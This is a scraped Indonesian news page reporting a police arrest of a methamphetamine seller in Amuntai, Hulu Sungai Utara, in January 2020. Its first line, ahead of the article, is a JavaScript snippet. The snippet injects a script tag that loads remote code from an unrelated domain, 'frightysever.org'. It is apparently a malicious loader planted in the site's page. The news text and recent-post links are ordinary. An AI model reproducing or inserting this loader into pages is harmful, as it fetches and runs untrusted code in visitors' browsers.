(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Edarkan Sabu, Sabirin Diringkus Polsek Amuntai Kota


KANALKALIMANTAN.COM, AMUNTAI – Kepolisian Sektor Amuntai Kota yang dibackup Buser Polres Hulu Sungai Utara (HSU) kembali meringkus pengedar narkotika jenis sabu di warung Desa Harus, Kecamatan Amuntai Tengah, Rabu (29/1/2020) sekitar pukul  14.30 Wita.

Tersangka yang diketahui bernama Sabirin alias Birin (28) warga Desa Harus, Kecamatan Amuntai Tengah, HSU. Ia tak berkutik ketika tertangkap tangan sedang melakukan transaksi atau menjual  sabu kepada anggota polisi yang sedang menyamar.

Kapolres HSU AKBP Ahmad Arif Sopiyan melalui Kapolsek Amuntai Kota Ipda Syaifullah kepada kanalkalimantan.com, Kamis (30/1/2020) membenarkan adanya penangkapan terhadap pengedar sabu-sabu tersebut.

Alhasil, dari penangkapan tersangka disertai penggeledahan disitalah barang bukti  4 bungkus/paket plastik piper clip  yang diduga sabu sabu dengan Berat Kotor keseluruhan 4,26 Gram dan  Berat Bersih keseluruhan 3,54 gram. Sedangkan barang bukti lain yang juga disita adalah 2 kotak rokok U Mild dan 1 HP merk REALME warna biru.

Penangkapan tersangka sendiri, Menurut Kapolsek merupakan hasil tindak lanjut dari informasi masyatakat  setempat yang resah lantaran pelaku seringkali melakukan transaksi narkoba di wilayah tersebut.

“Sementara sasaran pembelinya selama ini ditujukan kepada pemuda sekitar maupun rekan-rekannya yang sudah ia kenal khususnya warga Amuntai,” ujar Kapolsek Amuntai Kota Ipda Syaifullah.

Dari hasil investigasi, menurut keterangan tersangka barang berasal dari BR. Namun saat dilakukan penelusuran pada waktu itu keberadaan si bandar sudah tidak ada di tempat.

Saat ini tersangka beserta barang bukti  harus mendekam di tahanan Mapolsek Amuntai Kota guna proses lebih lanjut. Pelaku sendiri bakal dijerat Pasal 114 Ayat (1) jo pasal 132 ayat (1) atau Pasal 112 ayat (1) UU RI No. 35 Tahun 2009 Tentang Narkotika. (kanalkalimantan.com/dew)

Reporter : Dew
Editor : Cell

 


Al Ghifari

Recent Posts

25 Anggota PPK Kota Banjarbaru Dilantik, Langsung Bekerja Membentuk Sekretariat

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru resmi melantik 25 orang anggota Panitia… Read More

3 jam ago

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

14 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

16 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

16 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

17 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

18 jam ago

This website uses cookies.